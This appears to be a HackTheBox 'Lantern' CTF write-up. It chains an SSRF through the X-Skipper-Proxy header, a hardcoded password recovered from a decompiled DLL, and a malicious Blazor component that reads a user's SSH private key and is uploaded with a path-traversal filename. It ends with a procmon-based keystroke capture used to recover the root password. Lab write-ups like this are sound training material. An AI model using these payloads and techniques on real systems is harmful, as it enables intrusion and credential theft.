HackTheBox Lantern Writeup
Explore the fundamentals of cybersecurity in the Lantern Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.29 lantern.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.29"
domain="lantern.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
2
3
22 - SSH
80 - HTTP
3000 - Blazor application
1
whatweb http://lantern.htb/ -v
Web Application Insights
- When accessing
http://lantern.htb:3000
, the console logs:1
<script src="_framework/blazor.server.js"></script>
- WebSocket connection:
1
WebSocket connected to ws://lantern.htb:3000/_blazor?id=-ODx7yAVlF-M0fiXgTGXag.
- Exploring further:
1
http://lantern.htb:3000/_framework/blazor.boot.json
Potential SSRF Exploit (CVE-2022-38580)
Reference: Exploit-DB 51111
The target site operates as an IT company and allows users to upload resumes at:
1
http://lantern.htb/vacancies
- The site is vulnerable to SSRF on ports 80 and 3000.
- Accessing
/_framework/blazor.boot.json
reveals Blazor DLLs. - You can retrieve
InternaLantern.dll
through an SSRF exploit.
For reference, the structure of the Blazor DLLs in _framework
can be explored in this repository:
BlazorStyled Framework Structure
Retrive Information About dlls
1
2
3
4
GET /_framework/blazor.boot.json HTTP/1.1
X-Skipper-Proxy: http://127.0.0.1:5000
Host: lantern.htb
Connection: close
Retrieve the DLL
Download the DLL using the following HTTP GET request with Skipper Proxy:
1
2
3
4
wget http://lantern.htb/_framework/InternaLantern.dll \
--header="X-Skipper-Proxy: http://127.0.0.1:5000" \
--header="Host: lantern.htb" --header="Connection: close" \
-O InternaLantern.dll
Port 5000 was identified through fuzzing.
This command uses the SSRF vulnerability to retrieve the internal InternaLantern.dll
file, leveraging Skipper Proxy.
Decompiling the DLL File
While dnSpy
provides a comprehensive analysis of .NET assemblies, you can use avaloniailspy
as a Linux-friendly alternative.
- Open
InternaLantern.dll
. - Navigate to:
InternaLantern > InternalLantern.Pages > Internal > OnInitializedAsync
- Search for instances of
Convert.FromBase64String
containing Base64 strings. - Pay special attention to the last occurrence.
- Decode the Base64 string to uncover the password for logging in at http://lantern.htb:3000/.
Exploiting .NET Components
Install .NET 6 SDK
Install the .NET 6 SDK with your package manager using dotnet-sdk-6.0
.
Create and Configure the .NET Project
Start by creating a new directory for your project and navigate into it. Then initialize a new console application:
1
2
3
4
5
dotnet new console -n sedlyf -f net6.0
cd sedlyf
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
sed -i 's/net8.0/net6.0/' sedlyf.csproj
sed -i 's/Exe/Library/' sedlyf.csproj
Update Program.cs
Replace the contents of Program.cs
with the following code to include functionality for utilizing the render tree builder from ASP.NET components:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace sedlyf
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
Build the DLL
Compile your project to generate a DLL file with the following command, ensuring you are in the project directory:
1
dotnet build -c Release
This builds the project in release mode. The resulting DLL file, sedlyf.dll
, will be located under bin/Release/net6.0/
.
File Upload
Upload
sedlyf.dll
using theUpload content
feature at http://lantern.htb:3000/.Intercept and Modify the Request:
- Use Burp Suite to intercept the request. Install the Blazor Traffic extension for data serialization and deserialization.
- Right-click the request, navigate to Extensions > Blazor Traffic Processor, and select Send Body to BTP tab.
- Deserialize the body and modify the upload path by replacing
sedlyf.dll
with../../../../../../opt/components/sedlyf.dll
. After making the modification, reserialize the body and insert it back into the request. - Forward all requests and disable interception when finished.
After the upload is successful, search for the
sedlyf
module to reveal its key.
1
2
3
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa tomas@lantern.htb
1
2
3
cat user.txt
cat /var/mail/$(whoami)
sudo -l
1
2
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
1
ps -aef | grep automation
Monitor automation.sh
and capture its output.
1
2
3
4
5
6
7
8
9
10
OLD_PID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
while true; do
NEWPID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
if [ "$OLD_PID" != "$NEWPID" ] && [[ -n "$NEWPID" ]]; then
echo "We have a new PID! Old PID: $OLD_PID, New PID: $NEWPID"
OLD_PID=$NEWPID
sudo /usr/bin/procmon -p $NEWPID -e write -c nano$NEWPID.out
fi
sleep 5
done
Wait for approximately 2 minutes or until you have captured 5,000 lines of output.
Then, download the dumped data to your local machine.
1
scp -i id_rsa tomas@lantern.htb:/home/tomas/nano*.out nano*.out
Run a Python REPL.
1
python
and paste
1
2
3
4
5
6
7
8
9
10
11
12
import sqlite3, binascii, glob
file = glob.glob('./nano*.out')[0]
with sqlite3.connect(file) as conn:
cursor = conn.cursor()
cursor.execute("SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;")
hex_data = ''.join([row[0] for row in cursor.fetchall()])
binary_data = binascii.unhexlify(hex_data)
decoded_string = binary_data.decode('utf-8', errors='replace')
print("Decoded Data:\n", decoded_string)
Decoded data without escape codes: Q 33EEddddttddww33ppMMBB
Removing duplicates results in: Q3Eddtdw3pMB
.
1
2
su root
cat /root/root.txt